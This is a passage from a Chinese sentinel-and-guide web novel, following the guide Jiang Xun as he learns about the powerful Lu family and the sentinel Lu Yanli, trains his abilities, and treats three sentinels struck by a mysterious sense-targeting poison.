他轻轻摩挲着下巴，回忆着刚才那工作人员念出的任务报告，面上浮现出一抹带着探究的若有所思。 这一刻，他第一次真正意义上，对这个名叫夏因的平民向导，产生了浓厚的兴趣。 * 江寻拖着疲惫不堪的身体走出了圣所行政大厅，午后的阳光有些刺眼，让他本来就隐隐作痛的脑袋更加昏沉。 刚才在任务交接处的一番对答，让他感觉背上的背包似乎又沉重了几分，压得他更加疲惫了。 此刻，他只想赶快回到公寓里，一头栽倒在床上好好睡上一觉。 刚走出核心区，正准备拐向通往公寓区的小路，手腕上的终端突然发出一声轻微震鸣。 江寻微微一怔，低头看去，心头猛地一跳。 是一条短讯，而短讯的发件人赫然显示着：曲绍。 【希先生，按照你上次给我的留言，今天应该已经回到中央星了吧？晚上方便的话，请来我这里一趟，你上次托我调查的事，有眉目了。】 一见这条信息，江寻的脑子瞬间清醒了过来，满身的疲惫感被一股强烈的迫切压了下去。 江寻没有丝毫犹豫，立刻调转方向，脚步加快，向着东区曲绍的地盘疾步走去。 * 黑街东区。 有一阵子没过来了，东区还是如以前一样，静谧的表象下，时时刻刻暗流涌动，到处弥漫着危险的气息。 但江寻此刻的心神却丝毫无法分给周围的环境，步履匆匆而过，快速穿过几道明暗哨卡，径直来到了曲绍的小楼前。 也许是因为老大已经痊愈，这里的戒备不再像江寻初见时那般森严，气氛也松弛了许多，门口的守卫一见江寻便自觉让开了道路，而那个初见之时把江寻“请”过来的刀疤脸，已经候在了大门口，一见江寻过来，立刻恭敬地迎了上来，将他一路引到了曲绍面前。 曲绍正靠在他那张宽大的座椅上，单手支着下巴闭目小憩。他的身形似乎比之前更加魁梧了，脖子上盘踞着的那只黑蝎纹身好像活了一般张牙舞爪。一股无形的力场笼罩着他周身，霸道的精神力肆无忌惮地四散铺展，向所有人无声地宣告着他的强大。 “老大，希先生来了。”刀疤脸刚刚走近几步，就被那过强的力场压得额头渗出冷汗，声音都低了几分。 话音刚落，曲绍的眼睛猛地睁开，周身那迫人的力场瞬间被他收了回去。 他摆了摆手，将刀疤脸打发下去，这才站起身来，大踏步地迎向了江寻。 “希先生，好久不见！” 他走到江寻近前，上下仔细打量了他一番，眉头立刻皱了起来，虎起了脸，语气带着关切和一丝愤怒：“希先生，你这是怎么回事？脸色这么差！哪个不长眼的敢动我曲绍罩着的人？” “多谢曲老大关心，”江寻感谢地对着曲绍摇了摇头，声音还有些沙哑，“没人动我，只是这两天精神消耗有点大而已，休息一下就好，您不用介怀。” 话落，他顾不上继续寒暄，急切地直奔主题：“曲老大今天叫我过来，是……查到什么线索了吗？” 曲绍见江寻急切的样子，也没多废话，引着他在旁边的椅子上坐下，手指在终端上快速滑动几下，一道光屏亮起，几张照片与文字信息便清晰地显示了出来。 “你看看，是这些人吧？” 曲绍点出一张照片，放大给江寻辨认。 江寻一眼便认出了照片上为首的男人，正是当时在中央星22号登陆口中见过的，蹲守过他的那个人。 “对！就是他！”江寻肯定地说道。 “那就没错了。”曲绍点点头，又敲了敲另外几张照片，让江寻一一看过去。 其他几张照片中，这个男人身处的环境不一，但无一不透着富贵的气息。 “这是陆家的人，”曲绍用手指点了点其中一张照片上，正和这个男人交谈的另一人，“这个人是陆家的白手套，陆家很多摆不到台面上的事情，都是经他的手去办的。” “陆家？！”江寻心中一震，这个名字，与他心中猜测的那个人再次重合。 “对，就是那个近十几年在联盟里窜起来的新贵，势头猛得很，看如今的趋势，照这样下去，过不了几年，联盟三大家族就得变成四大家族，给他们陆家挪出个位置了。” 曲绍向后靠进椅背，一边组织着语言一边说道：“虽说算新贵，但其实也是个老牌家族，和雷欧那种抱着凡纳家大腿才发展起来的暴发户不一样，这陆家的底蕴可厚实多了。” 曲绍的手指无意识地敲击着桌面，给江寻解释着这些顶级家族的密辛：“这个陆家，早年是在军部那边发展的，家族里代代都有哨兵向导觉醒者，就是等级有高有低。你应该知道的，军部那边，可一直是联盟第一家族布瑞克的地盘，其他的小世家都被压得死死的。一直到二十多年前，他们家在军部那边都翻不了身。” “一直到现在这位掌舵的上位，局面才有了变化。”曲绍笑了笑，语气里带着几分对于同类的惺惺相惜，“这个陆明远，可是个狠角色。陆家以前的历代家主，惯例全都是觉醒者。可他呢？既不是哨兵也不是向导，他那会儿还有好几个等级不低的兄弟姐妹，结果却是他，硬是靠着一股子狠劲，把这些竞争对手全给解决了，几乎是用抢的，坐上了家主之位。” “后来，他攀上了苏家，娶了当年在联盟里极有名气的苏家独女苏梦。苏家，你现在可能没怎么听说过了。”曲绍看了看江寻，接着说道，“苏家当年可是能和现在的明家争一争的老牌医疗世家，家里在愈灵殿和医药行会里都有人脉。” “特别是当年这个苏梦，人长得漂亮，本事也大，不仅自己是个高级向导，在圣所求学期间，还和不少高级哨兵都保持着固定的疏导关系。当年大家都在猜，她要么是选个顶级世家的哨兵联姻，要么是找个厉害的高级平民哨兵入赘。” “结果呢，她和陆明远结婚的消息一传出来的时候，简直惊掉了一地下巴！”曲绍惋惜地摇了摇头，“这陆明远也确实有本事，借着苏家的势力和资源，果断从军部那个泥潭里跳了出来，把手伸进了医疗领域这块大肥肉里，没几年功夫，陆家就有了复兴的苗头。” 曲绍顿了顿，声音压低了些，带着一丝唏嘘：“可惜啊，这个苏梦命不好，陆家刚有些起色，她就死了，她一死，陆明远就立刻动了手，把苏家的产业吞了个干干净净，连一点儿骨头渣子都没剩下。吞下了苏家这个庞然大物之后，陆家这才算真正立住了脚，有了争联盟第四大家族的本钱。” 曲绍不愧是能够单打独斗打下这么大一片基业的枭雄，虽身在最见不得光的黑街，却对这些顶级世家的密辛如数家珍。 “陆家上一代都让陆明远清理了个干干净净，只剩下一些不成气候的旁支。现在这一代，嫡系就三个。老大和老二是苏梦生的，老大当年天赋据说也很好，可惜早早夭折了。老二陆承，现在是陆家板上钉钉的第一继承人，已经在接手打理家族产业了。老三陆厌离……” 曲绍说到这里停顿了一下，这一次，目光中流露出真实的钦佩：“就是那位大名鼎鼎的联盟双星，S级顶级哨兵。他是陆明远的情妇生的，有传言说，苏梦的死也和他有点关系。苏梦死后，那个情妇就住进了陆家，虽然陆明远一直没给她正式的名分，但大家都心知肚明。” “这陆明远对自己的儿子也够狠，这个陆厌离八岁觉醒的哨兵能力，之后就被他丢进了塔里。别的哨兵才刚刚觉醒在初级训练班里打打闹闹的时候，他就已经从特训班毕业，领着军职开始出生入死了。” “陆家现在，”曲绍总结道，“在议会世家这边，是陆明远和陆承两父子在支撑产业。对外，陆厌离就是他们最锋利也最耀眼的那把刀。靠着当年苏家留下的底子，再加上陆厌离这把无往不利的利刃，陆家这些年才能一路高歌猛进。” “陆家早年在军部起家，当时和布瑞克家一直争地盘，闹得不太愉快。后来转战医疗领域，又开始跟明家抢份额，两边也搞得剑拔弩张的。只有凡纳家，手上捏着联盟的经济命脉，又一直想打压明家，和陆家一拍即合，现在基本是穿一条裤子了。” 江寻沉默地听着曲绍的讲述，“陆厌离”三个字，不断出现在他耳中，如同重锤一般，一下一下震颤心灵。 曲绍提供的这些情报，与他所知的一切碎片，像是一副复杂的拼图，被嵌合在一起，在他的心中慢慢拼凑出一个熟悉又陌生的身影。 “我明白了，多谢曲老大。”江寻的声音有些干涩，缓缓站起了身来，陆家这个原本与他毫无交集的庞然大物，此刻，在他的心中已然有了具体的轮廓。 “希先生，你是和陆家有什么过节吗？”曲绍说完之后，就一直探究地观察着江寻的反应，“说实话，如果你要对付陆家，我恐怕帮不上什么大忙。”他话锋一转，语气诚恳，“不过，如果只是要帮你摆脱陆家的搜查，只要你一句话，我曲绍一定尽力帮忙。” “不用，我们之间也不算有仇怨，曲老大能帮我到这里，我已经十分感激了，不敢再叫您为我冒险。”江寻郑重对着曲绍行了一礼，“后面的事，就交给我自己吧。” 话落，他不再停留，转头径直走向门口，身影一闪，便迅速融入了东区昏暗的街巷之中。 * 黑街那混杂的气味与危险的气息，被江寻甩在了身后。 脚步沉重地穿过泥泞的小路，走过人影寥寥的街道，他终于回到了自己那间小小的公寓。 扭开了门锁，他没有开灯，随手把背包往小几上一扔，连洗漱都顾不上，借着窗外中央星上永不熄灭的霓虹，便一头扑倒在了那张不算柔软的单人床上。 身体陷入被褥中的瞬间，几天以来被积压在一起的疲惫如潮水般袭来，将他整个人彻底淹没，他把脸埋在枕头里，虚着视线没有焦距地看着床边喘着气，好一会儿，才平复了下来。 寂静的夜晚，熟悉的环境，这一天中接收到的过于密集的信息，让他的大脑混乱不已，无数碎片反复回响。 陆厌离……联盟双星……陆家…… 那个在空港中看到的苍白身影，那个在十字星锚点的巨舰上拍打着舷窗的身影，梅丽口中那个燃烧自己照亮联盟的大英雄，他“附身”时看到过的那个拼尽全力奋力搏杀的人影。 这一切的一切，化为描绘着不同生命轨迹的拼图，将一个复杂的人影在他心中拼凑而出。 一种强烈的矛盾感撕扯着江寻，让他无法安宁下来。 他希望自己的猜测是对的。 那么，这就意味着他一路走来的漫长寻觅终于看到了曙光。他再也不用漫无目的地在错综复杂的势力间苦苦周旋，追寻着飘渺的线索。他终于找到了那个在最初给了他温暖与归属感的家人，找到了那个让他和这个世界联系在一起的桥梁。 只有那个人在身边，他才能真切地感觉到自己来到这个世界的意义，他的心才能找到归处。 可另一方面，他又无比希望自己的猜测是错的。 如果陆厌离就是小树，那就意味着，那些只是听着便让人觉得冰冷的过往，全部都是小树的亲身经历。 那个被他珍视着的、宠爱着的，会向着他调皮撒娇的家人。在他所不知道的过去，从小就生活在一个冰冷破碎的“家”里，长久以来被当做工具、利刃，肆意使用。不断地出任务、到处奔波、独自在血雨腥风中挣扎，最后又在这把刀子坏掉之后被无情抛弃。 心底翻涌起强烈的心痛。 他宁愿小树只是一个普普通通的小哨兵，C级、D级，哪怕是不入流的E级也可以，过得平凡普通，最大的烦恼不过是钱不够花，亦或与朋友吵了架。也好过作为他人的工具，从出生起就背负着沉重的枷锁，在荆棘丛生的道路上一个人踽踽独行。 “小树……你究竟是……”江寻无声地呢喃着这个名字，手指无意识地攥紧了胸口的衣服，隔着薄薄的布料，那块被贴身收藏的冰凉铭牌硌在掌心中，上面镌刻的那个名字像是燃烧了起来，灼烧得他心中苦痛。 但无论如何…… 江寻深深吸了一口气，混乱翻腾的思绪渐渐沉淀下去，一个信念重新变得清晰无比。 无论如何，都要先找到他。 自己承诺过，只要他不主动离开，自己就绝不会抛弃他，他已经是自己的家人了，自己总要带他回家。 不论这个承诺的对象是那颗无人星上的那只小灰猫，还是联盟中赫赫有名的大人物。 只要对方没有放弃，自己就一定会遵守诺言。 “陆厌离……他现在应该在科里亚星附近吧，按这个距离来算，应该也快回中央星了……” 江寻翻了个身，仰面躺着，目光穿透窗棂，望向天空中闪烁的点点繁星。 现在他应该还算处于军部镇压任务的返程期内，等他回到中央星，恐怕不久之后又会被下达新的任务命令了。 这个短暂的空档期是他最好的机会，他必须在陆厌离回来时，想办法见到他，或者直接联系上他，确认自己猜测的真假。 若是错过了这一次，他又被派遣了出去，那自己就更难有机会亲眼看到他了。 但是，想办法找中间人传递信息，风险又太大。首先，他的社交圈根本够不到陆厌离那个层次的人物。就算能找到，对方大概率也不会相信他一个小小的B级向导的话。 更关键的是，那些想抓到他的人，也是陆家的。他无法确定，如果自己贸然去联系陆家，消息会先传到陆厌离本人手里，还是落到那个幕后人的耳中。随意暴露身份，很大可能会引火烧身。 除了这些可以预见到的阻碍之外，他自己如今的处境也不容乐观。 在匹配度测试之后，盯上他的高阶哨兵越来越多，背后的势力也盘根错节，局势越来越复杂。 虽然他在如今的圣所里积累了一定名气，可这点虚无缥缈的虚名，在真正的权势与力量面前，根本不堪一击。 面对这些拥有着强大的力量，又在联盟中根深蒂固的庞然大物，他目前这个B级平民向导的身份，还是太孱弱了。 面对强权与制度性的压迫剥削，他甚至都没有足够的力量，让自己对他们坚定地说一声“不”。 他需要更强的力量，更高的地位，才能在必要的时候保护好自己，守护住自己想要守护的人。 江寻的心神猛地一沉，意识瞬间沉入自己的精神海，他的目光投向那片被自己暂时封锁住，尚未完全消化吸收的庞大力量，心中的念头变得无比清晰和坚定。 不能再慢慢等了！他没有时间了！ 江寻猛地从床上坐起身来，眼中最后一丝犹豫彻底散去，身体上因精神匮乏而产生的不适感，此刻反而化作了督促他前进的动力。 他盘起双腿，调整着呼吸，让身体进入最放松的冥想姿态。将脑海中所有的杂念通通摒弃，意识向着那片始终沉睡在他精神海深处的力量狠狠刺去。 他的目标无比明确，他要以最快的速度消化吸收掉这些沉睡的力量，将自己的精神海向着那更高一层的境界，全力推进！ 目标，只有一个——S级！ 第138章 随着学员们陆续带着自己的任务报告回到中央星， 每月一次的强制任务告一段落，圣所的日子似乎又恢复了往日的平静节奏。 江寻白天仍然在研修班的课堂上认真学习，没有课程的日子， 他便一头扎进圣所那资源浩瀚的图书馆中， 搜寻着自己需要的高阶技能资料。 他的精神力总量在每晚的冥想， 与对那股沉睡力量的持续开发中稳步提升，已经开始从A级向着更高的层次发起冲击。然而，A级标志性的几个门槛技能， 他却尚未完全掌握。 对于向导来说， 迈入A级的标志性技能共有三个，分别是能够为哨兵屏蔽并分担痛苦的技能，镜像痛觉传导；制造区域性幻觉领域的技能感官迷雾；以及至关重要的治疗性技能，精神体封印。 评级考核中，只要能熟练运用这三者其中的两个。再加上合格的精神力总量，便能正式晋升A级。 问题是， 这三个技能里， 有两个都是需要与哨兵配合才能进行练习的。 而江寻现在所用的“夏因”的身份， 最高潜能等级只有B。因此，他对A级技能的学习始终只能在暗地里进行， 更加无法光明正大地寻找哨兵与他配合练习。 他只能先自学理论知识，以后找到合适的机会， 再尝试实践。 * 训练室角落的一个独立隔间里，江寻闭目凝神， 盘腿而坐，仔细地调动起体内的精神力，凝成无数道无形的丝线，在面前小心翼翼地勾勒出一个扭曲又模糊的力场。 这是三个A级技能里唯一可以单独练习的一个——“感官迷雾”的雏形。 类似的幻觉类技能， 在B级阶段中也有一个，叫做初级幻象。很早之前江寻就已经熟练掌握了这个技能，所以这一次学习它的进阶版本，进度非常快。 初级幻象相比感官迷雾局限性很高，它通常只能作用于单一个体，而且一般只能模拟视觉和听觉信号迷惑敌人，稍微有经验的哨兵都可以轻易识破它的破绽。 而感官迷雾则截然不同，他是一个区域性的力场技能，使用之后，技能可以覆盖一片选定的区域，让进入这片区域内的智慧生物都受到幻觉的影响。 而且，它的欺骗范围覆盖了哨兵大部分的感官信号来源，根据长久以来的应用经验，只有少数嗅觉极端灵敏的生物，或相应形态的拟化哨兵，才可能凭借自身的特长发现它的漏洞。 此刻，江寻就在试图利用技能，模拟构建出一个高温沙漠的环境。 空气中的灼热气浪，头顶刺目的阳光，脚下沙砾滚烫的触感……江寻一边在脑海中想象着这个场景，一边谨慎地用精神力艰难将这些信号具现化在面前的立场区域之中。 “喵呜——” 一声突兀的猫叫骤然打断了他专注的模拟。 一只不知从哪个通风管道溜进来的野猫，好奇地踱步走近了江寻构建出的那片扭曲光影的边缘。 它抖了抖胡子，似乎察觉到了什么异样，疑惑地歪了歪脑袋，然后，一头扎进了面前那片绚丽的光影区域当中。 瞬间，似乎是在其中见到了什么不可思议的东西，它的眼瞳突然瞪得圆溜溜的，发出了几声受惊的喵叫声。 然而，一瞬的惊慌之后，它似乎又发现了什么，鼻头疑惑地翕动了几下，而后，脚下一个用力，竟毫无阻碍地，又从那片光影区域中轻松跃了出来！ 出来之后，猫咪明显有些困惑，它左右扭头看了看，没发现什么异常，就再次蹲坐了下来，悠闲地舔起了爪子，仿佛刚才只是经历了一场短暂的幻梦。 江寻睁开眼，看着那只轻松进出自己辛苦构建出的幻境的野猫，嘴角不由得扯出一丝无奈的苦笑。 资料上说的果然没错，对于嗅觉远超人类的动物来说，这种程度的感官幻境，效果确实是大打折扣。若是面前的是个精神体是犬类的哨兵，可能效果更差。 看来，必须要提前考虑好技能失败后的预案才行了。 他挥挥手，撤去了维持幻境的精神力，在随身携带的笔记本上记录下这次失败的技能运用经验，和观察到的漏洞。 又练习了不到一小时，感觉到今天的消耗量已经差不多了，便收起了摊在手边的资料与笔记，起身走出了训练室。 夏日午后的阳光有些刺眼，江寻一出训练室的大门，目光便捕捉到了一个正倚靠在廊柱阴影下的挺拔的身影。 一身合体流畅的蓝色训练服，勾勒出了他精悍完美的身形线条，脸上挂着恰到好处的微笑，不时回应一下路过同学的招呼，但扭过头时，那双冰蓝色的眼眸里却毫无笑意。一头银发，即使呆在昏暗的阴影中，也丝毫不减其一分闪耀。 整个人既不过分张扬地惹人厌烦，又足够地引人注目。 江寻叹了口气，是洛伦茨。 “夏因，”江寻刚一走出训练室的大门，洛伦茨便已敏锐地发现了他，却没有着急上前，而是不疾不徐地慢慢站直了身体，这才自然地迎了上来。 目光扫过被江寻抱在手中的资料，语气温和：“还在练习吗？你还是这么用功。” 说着话，手上递过一个小巧的冷藏盒，“学院今天配发了顶级精神力补充剂，我最近在集中进行体能训练，用不上这个，给你带了一份。”他顿了顿，带着些深意看了江寻一眼，补充道，“知道你平时刻苦，又没人帮你做精神补偿，那就用这个吧。” 江寻脚步微顿，略一迟疑，还是接过了盒子。 不得不说，选择洛伦茨做合作伙伴实在是一件相当舒服的事，他实在很会把握江寻能够容忍的这个“度”。 从第一次邀约之后，他便没有再大张旗鼓地邀请江寻去一些过于私密的地方。平日里送的东西也都是这种价值适中，却又恰好是江寻真正需要的物品。 而且每次不管是措辞还是态度，都拿捏得恰到好处，既不显得他轻慢，也不会让对方感到不自在。 他从不提一些越界的请求让江寻为难，每一次接触都自然而然，叫人一丝错处都挑不出。 拥有这样的情商，无怪乎他平日里待人并不算热情，背后也没有其他显赫势力的扶持，却还是能在偌大一个哨兵学院里，年年稳坐首席的位子。 不得不说，有他在，着实帮了不少忙，有效地替江寻挡掉了许多来自其他哨兵更直接、也更麻烦的骚扰。 “谢谢。”江寻的声音里带着一丝疲惫，但还是态度客气地收下了洛伦茨的礼物，默许了这份适度的“亲近”。“最近对技能有了一些新的想法，想要尝试一下，确实有些费神。” “注意劳逸结合。”洛伦茨接收到了江寻的这一份默许，笑容加深了些，目光在江寻稍显紧绷的脸上停留了一瞬，随即又自然地移开，“对了，周末外城南区新开了一家星际植物园，据说引进了不少珍惜的药用舒缓类植株，有兴趣一起去看看吗？或许对你的理论研究能有些启发。” 他貌似不经意地发出邀约，看向江寻的眼神中却带着一丝试探。 江寻几乎没有任何犹豫，摇了摇头，婉拒道：“抱歉，洛伦茨，周末我已经提前有安排了，恐怕去不了。” 对于这种稍显亲密的私下邀约，他从没有同意过，始终把自己的姿态摆的非常正。 洛伦茨眼中极快地掠过一丝遗憾，又很快散去：“没关系，既然已经有安排了那就算了，下次有机会再说。” 他为自己留下了余地，也并不纠缠，向着江寻点了点头，便干脆利落地告辞离去。 江寻看着他远去的背影，轻吁了一口气，从科里亚星回来的这几天中，日子虽然表面看起来平静，但从众人不经意间改变的态度里，他还是敏锐地察觉到了那些暗藏在水面下的暗流。也不知这些积蓄起来的力量，会在哪一天里，轰然爆发。 * 傍晚，江寻回到了已经歇业了将近一周的诊所中，重新打开了大门。 虽然这几天一直把精力集中在了提升自身上，可诊所这边他也不打算继续关闭下去。每天适当地疏导几个人，有助于他积累实践经验。也方便他练习一些不方便在圣所展露的技巧。 诊所中再次弥漫起熟悉的消毒水和草药混合的味道。 这里的环境完全无法与圣所中宽广明亮的大厅相比，却格外令江寻感到安心。 将调配好的药水仔细装进纸袋，又叮嘱了患者近期的注意事项，江寻送走了今天的第三位访客。 正坐在桌边，为自家诊所补充消耗的药物，诊所大门突然被“咚咚咚”三下敲响，随即，没等江寻起身开门，外面的人便径直推门走了进来。 江寻扭头一看，微微一愣。他本以为来人是那个已然和他混熟了的沃特，结果不是，是自己第一次来黑街时治疗过的那个B级哨兵，屠峰，沃特口里的大哥。 “希先生，好久不见。”屠峰虽然自己忙于任务，痊愈以后很少来江寻的诊所，但一直让几个小弟关照着江寻。特别是沃特，更是在获得了江寻的友谊之后几乎常驻在了这里，因此和江寻说起话来也少了些客套，多了份熟稔。 屠峰高大的身形走近几步，身上还穿着沾着些暗红血迹的作战背心，呼吸有些急促，像是刚结束任务就马不停蹄地赶了过来。 “希先生，不知道您今天方不方便？沃特他们出了点状况，我想请您过去帮他们看看。”屠峰语气有些着急，一眼看到江寻，便开门见山地向着江寻请求道。 “行，你等我一下。”江寻眉头一皱，直觉感觉到了一点不对。如果只是小问题的话，按屠峰的性格，不至于如此着急才对。心下有了计较，手上收拾的动作便更快了些，几下把瓶瓶罐罐收拾好锁进了药柜，便拎起便携医疗包，跟着屠峰出了门。 几人住的地方离诊所不远，两个人脚步匆匆，不到十五分钟就赶到了地方。 一进门，屋内的景象就让江寻瞬间拧紧了眉头。 房间里不对劲的不仅沃特一人，还有他的两个兄弟。 只见沃特蜷缩起身子，死死挤在靠墙的旧沙发角落里，双手紧紧捂着耳朵，眼睛瞪得老大却没有焦距，惊恐地望着天花板，嘴里还在无意识地喃喃着什么，脸色惨白，额头上布满了冷汗。 靠窗放着的简易床上，另一个叫马修的哨兵正烦躁地用力抓挠着自己的手臂，皮肤上已经被抓出了好几道血痕，他却像感觉不到痛似的，仍然感觉瘙痒似的，不住磨蹭着身体。 还有一人也是熟人，疤脸尤金，症状看着比他们两人稍好一些，此刻正呆呆地靠在墙角里，眼睛发直地盯着面前空无一物的墙壁，瞳孔不自主地变成了兽瞳，收缩成了针尖般大小的一个点。 屠峰指着三人，声音有些发沉：“我们前些天接了个任务，早上刚刚结束，我留下和雇主交接，让他们三个先回来了。结果等我下午到家，他们三个就开始不对劲。” “刚开始只是没什么精神，昏昏欲睡的样子，我还以为是他们累着了。结果，没过半小时，沃特就开始嚷嚷闻到了什么怪味，还非要找出来源头在哪。” “马修开始说是看见了蚊子叮他，然后就一直喊身上痒，挠个不停。尤金倒是没他们两个反应大，但是也说是有光晕一直晃他的眼睛。我本想带他们去您那里让您看看呢，可就我们说会儿话的工夫，他们的症状就越来越糟糕了，怎么喊他们都没反应！” 江寻眼神有些凝重，三个人同时发作，症状还这么相似…… 他快步走到沃特身边，精神力丝一凝瞬间探入了对方体内。查看片刻后，又迅速转向另外两人。在屠峰焦急的注视下，快速完成了第一轮的初步检查。 看着三人体内的状况，江寻的脸色沉了下来。 三人的外在表现不尽相同，但体内经络之间却同样盘踞着一股诡异的灰黑色雾气。这种雾气似乎是有着某种扭曲、腐蚀的性质，缠绕在他们三人的精神脉络上，不断刺激并且扭曲了他们原本正常的神经信号。 这不是普通的精神污染或者感官过载，这种灰黑雾气显露出一种强烈的毒性，充满了人为的痕迹。而且看它的特性，很像是一种专门针对哨兵灵敏的五感而研发的毒剂。 “不太对劲，他们这不是病，是中了毒。”江寻收回手，扭头对着焦急地紧盯着他动作的屠峰说道。 “中毒？！”听到江寻的推断，屠峰的脸色瞬间变得极其难看。 毒素发作得很快，这会儿江寻顾不上屠峰的反应。话音一落，立刻打开了随身携带的医疗包，动作麻利地拿出了三支一次性精神镇静剂和一小瓶深绿色的粉末状药剂。 “把他们扶起来坐稳。” 趁着屠峰制住挣扎着的三人的空档，江寻迅速将绿色的药粉按照合适的比例混入了三支镇静剂中。毫不犹豫地一人一支，将混合后的药剂分别注射进三人的静脉。 “这种毒素发展得太快了，我来不及去找通用的解毒剂。这种药粉是一种高吸附性的附着剂，我先用镇静剂稳定他们现在的精神状态，再用附着剂尽可能地吸附掉他们体内的毒素。”江寻一边解释着，一边将注射完的药水的三人，小心地放平躺下。 镇静剂的效果立竿见影。一针下去，三人挣扎的动作就慢了下来。 “我先帮他们把紊乱的感官信号梳理一下，让他们的五感正常起来。”江寻一边说着，精神力丝已经再次探入了沃特的体内，“附着剂会吸收大部分的毒素，再通过今后几天的新陈代谢自然排出体外。但它的吸收率不是百分之百的，必然还有少量毒素残留。” “接下来几天，让他们尽量待在家里休息。一个是防止再次接触到新的毒素导致二次中毒。另外一个，防止你们在外面的时候症状突然发作，伤人伤己。” 说话间，江寻便已经为沃特疏导完毕了。这几天的集中提升，效果拔群，现在为沃特这种C级哨兵疏导，他的速度已经非常快了。 随着江寻为三人挨个疏导完毕，三人虽然脸色依然难看，但涣散的神志已经慢慢清醒了过来。 沃特用力眨了眨眼，涣散的瞳孔重新聚焦，这才看清了面前的人：“希……希先生？你怎么在我们家？” 江寻没有立刻回答，蹲下身子，撑开沃特的眼皮，查看了瞳孔的对光反射，又问了几个简单的问题，测试他的神志清醒，确认附着剂正在生效后，这才回答道：“你们三个中毒了，屠大哥请我来给你们看看。” “中毒？我们三个？”沃特的脑子明显还没完全清醒，茫然地看了看旁边的马修和尤金，这才慢慢反应过来。 可随即，他就紧紧皱起了眉头：“我们怎么会中毒？我们三个今天一直在一起，和大哥分开以后就直接回了家，路上也没碰什么可疑的东西啊！而且我们出任务这几天，为了不出岔子，连吃的喝的都是自己带的。” “那接触过什么奇怪的人吗？或者闻到过特别的气味？”江寻追问道。 沃特挠了挠头，绞尽脑汁地回忆，回答的时候，声音还有些虚：“我们回来的时候，抄近路从一个废弃工厂里横穿过去的……路上真没遇到什么人。味道……这个我没有太注意。” 此时，症状最轻的尤金也清醒了过来，听到江寻的问话，同样陷入了思索：“味道的话……好像就是那个工厂里面有点味儿，不过闻起来就是普通的铁锈味……好像还有点什么东西发霉的味道，没别的啊……” 马修最晚醒来，这会儿听着几人的对话也是一脸茫然。 江寻思索片刻，再抬头时目光锐利：“最近有去过酒吧之类的地方，接触过违禁药物之类的吗？” 一听这话，沃特几人连忙摇头，屠峰也正色说道：“希先生！我们虽然干的是些踩线的活儿，可是那些玩意儿是绝对不碰的！我可以用命给兄弟们担保！” 江寻其实也觉得几人不是这种意志薄弱的人，闻言点了点头。 不过，这样一来的话…… “那就找不到源头了啊……”江寻的眉头拧得更紧了。 沃特三人都是经验丰富的哨兵，他们在同一个时间段中毒，症状相似，却什么特别的东西也没接触过，找不到任何明确的污染源，这也太蹊跷了。 那这些毒素是依靠什么传播的？难道是……空气？ 叹了口气，这事儿如果还有后续，那可不是他能应付的了。 又等了一会儿，待附着剂充分发挥作用后，江寻再次给三人仔细检查了一遍。 那种灰黑色的毒素已经减少了大半，活性也明显降低了下来，看着已经在安全的范围内了。听到江寻的诊断，几人都松了口气。 江寻想了想，又从医疗包里取出几支药剂递给屠峰。“这是加快血液循环，促进新陈代谢的药，这几天，按时给他们三个服用了。如果又感觉有哪里不对劲，立刻来找我，白天我不在诊所的话，可以给我发讯息。” “是，希先生！”屠峰连忙应下。 江寻沉吟片刻，又不放心地叮嘱道：“还有，你们今天路过的那个废弃工厂，暂时别再靠近了。屠大哥，你有空的话，留意一下住在那个工厂附近，或者经常在那一片活动的哨兵，如果发现谁有类似的不对劲的情况，马上通知塔那边。” “您是觉得这事还没完？”屠峰一惊，连忙追问。 “不好说……总之，最近都提高一些警惕吧！”江寻叮嘱完，对着几人点了点头，便提起医疗包，离开了这间依然被不安笼罩的屋子。 走在回诊所的小路上，江寻的心头蒙上了一层厚重阴云，脚步比来时更加沉重了。 晚风飒飒吹过，远远传来隐隐约约的音乐与嬉笑狂欢声，空气里，飘来一股黑街特有的混杂着酒精、劣质香水与烟草的复杂味道。 江寻却敏锐地从中捕捉到了一丝若有似无的金属味道。 他的目光投向刚才沃特三人提及的那个废弃工厂的方向。 那到底是什么东西？明显在针对着哨兵的感官，传播隐蔽性又如此之强，发作得也这么迅猛，这背后到底藏着什么？ 一股强烈的不安预感从江寻心中升起。沉吟片刻，他停下脚步，迅速打开终端，手指在光屏上滑动着，将一封短讯发送了出去。 暂时能做的就这么多了……江寻无声地叹了口气，加快脚步，身影迅速消失在黑街涌动的暗影之中。 第139章 夜深人静， 中央星彻夜不熄的霓虹冷光透过公寓的窗棂，在房间地板上切割成一束束变幻的光影。 江寻仍未入睡，而是盘膝坐在床铺中央， 眉头紧锁， 额角汗珠点点滚落， 沿着紧绷的侧脸滑下。 平静的外表之下，体内的精神海深处波涛汹涌。 在自由城时获得的深厚“馈赠”，正被他一点点撕扯、吞噬着， 慢慢随着精神力的流动化为身体中的一部分。 原本如涓涓细流般温和的消化过程， 因为他急切的汲取，伴上了剧烈的钝痛。一股又一股庞大的力量每每从那片被封锁的区域中灌入经脉，便会给他带来一阵撕裂般的剧痛。 然而，江寻并未因此罢手，甚至连呼吸的节奏都未曾紊乱过，坚持地抽取着力量强行填充进自己的精神海。直到那无形的容器被撑到极限， 才缓缓停下动作， 重新把剩余的馈赠重新封锁， 喘着气栽进被褥之间，在急促的喘息中沉沉睡去。 时间在这样日夜不停的学习提升中无声流逝。 公寓角落里， 精神补充剂的空壳已经堆积如山，江寻的面色始终始终带着驱不散的疲惫， 眼下的青黑清晰可见。但与之相对的，他精神海的总量， 也在这不为人知的痛苦中稳步向上攀升。 不久，便稳稳站在了A级的巅峰，清晰触摸到了那层通往更高境界的无形壁垒。 对于三大A级技能的掌握，虽然没有经过实战的检验， 但在无数次的理论推演中，他自信最起码已经达到“及格”的程度了。 是时候了，江寻心中想到。 一个阳光和煦的下午，江寻敲响了艾略特教授办公室的门。 “请进。”艾略特教授温和的声音隔着门板传来。 江寻再次在脑中快速过了一遍腹稿，深吸一口气，推开了门。 浓郁的香醇咖啡味道混合着书本特有的油墨香气扑面而来。 艾略特教授的办公室十分有他本人的风格，两面靠墙的巨大书架被塞得满满当当，一张宽大的书桌就摆放在书架前方。 此时，艾略特教授正坐在书桌后面，鼻梁上架着一副厚厚的眼镜，手里端着一杯仍在冒着热气的咖啡。 看到来人是夏因，这个他十分喜欢，天赋出众又非常刻苦的学生，脸上不由自主地露出了一抹和蔼的微笑。 “哦，是夏因啊。来来，过来坐，找我有什么事？”艾略特教授笑着指了指自己对面的椅子，眯起眼回忆了一下，问道，“是关于刚才课上讲的那个关于精神图景稳定模型的问题吗？” 